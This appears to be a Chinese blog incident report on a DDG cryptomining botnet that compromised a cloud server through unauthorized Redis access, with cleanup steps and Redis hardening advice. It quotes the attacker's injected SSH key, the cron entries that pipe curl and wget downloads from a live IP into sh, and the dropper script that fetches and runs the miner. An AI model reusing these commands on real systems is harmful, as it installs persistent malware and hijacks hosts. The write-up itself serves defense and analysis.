01-DDG-挖矿僵尸网络攻击
1.概述
接到阿里客户的通知,说我购买的一个主机CPU一直处于满负荷状态,问我是否在对服务器做操作或者存在用户大量请求服务,奇怪!这些都没有,赶紧登陆服务器查看,果然。
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
23644 root 20 0 75716 12732 232 S 394.4 0.1 9556:10 qW3xT.1
一个名为qW3xT.1的进程占用了接近400%的CPU资源。一查,原来是DDG挖矿僵尸网络攻击。
2.DDG是什么
DDG挖矿僵尸网络(DDG Mining Botnet)是通过肉鸡(沦陷主机)挖取门罗币(XMR,Monero Crypto Currency)的僵尸网络。
3.DDG是如何攻陷主机的
DDG正是通过Redis漏洞和SSH攻陷主机的,本次受到的攻击应该就是利用了Redis未授权访问的缺陷。
4.DDG如何利用肉鸡挖去门罗币的
DDG挖矿流程图。
DDG挖矿流程图
1)DDG攻陷主机后,将一个ssh pub key写入~/.ssh/authorized_keys文件,或者账户根目录下的 ~/.ssh/authorized_keys,但Redis大多都是root启动的,故而可以在/root/.ssh/authorized_keys查看,果然。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost
多个一个pub key。
2)攻陷主机后,然后开始注入病毒程序。
首先,在/var/spool/cron/目录下写入定时任务。此时可以发现该目录下多了2个文件root和crontabs/root,内容是:
*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh
*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh
定时下载i.sh并执行。
i.sh的具体内容如下:
$ export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
i.sh脚本就是下载ddgs.*病毒程序,然后执行。
3)ddgs.样本中内置了一个IP:PORT列表,然后依次连接IP:PORT列表,检查是否可以访问。对每个成功握手的IP:PORT,ddgs.都会尝试向
http://<C2:8000>/slave发送HTTP POST请求。如果C2正常工作,则会返回一串用msgPack序列化编码后的配置文件数据。
4)获取配置文件后,会根据配置文件中的Miner信息去下载qW3xT.1到当前失陷主机的/tmp/目录。qW3xT.1文件是XMRig编辑的矿机程序。
5.如何处理
1)删掉~/.ssh/authorized_keys里的ssh pub key;
2)停掉cron任务进程;
$ systemctl stop cron
3)删掉cron任务;
$ rm -rf /var/spool/cron/root
$ rm -rf /var/spool/cron/crontabs/root
4)杀掉ddgs.*和qW3xT.1进程;
$ kill -9 PID
5)删掉ddgs.*和qW3xT.1文件;
$ rm -rf /tmp/ddgs.*
$ rm -rf /tmp/qW3xT.1
此时再top查看下,发现CPU使用降下来了。
5.如何防护
鉴于是通过Redis进行攻陷的,故而防护可以针对Redis来操作:
- 配置bind选项,绑定主机;
- 修改Redis默认端口6379;
- 配置AUTH,设置复杂密码;
- 配置rename-command CONFIG “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config指令加大难度;
- 关注Redis新版本;
参考地址:
https://www.secpulse.com/archives/71983.html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">Redis未授权访问的缺陷:http://blog.jobbole.com/94518/
DDG挖矿处理:https://www.cnblogs.com/whatmiss/p/7447196.html
DDG挖矿防护:https://blog.csdn.net/tjcyjd/article/details/54140321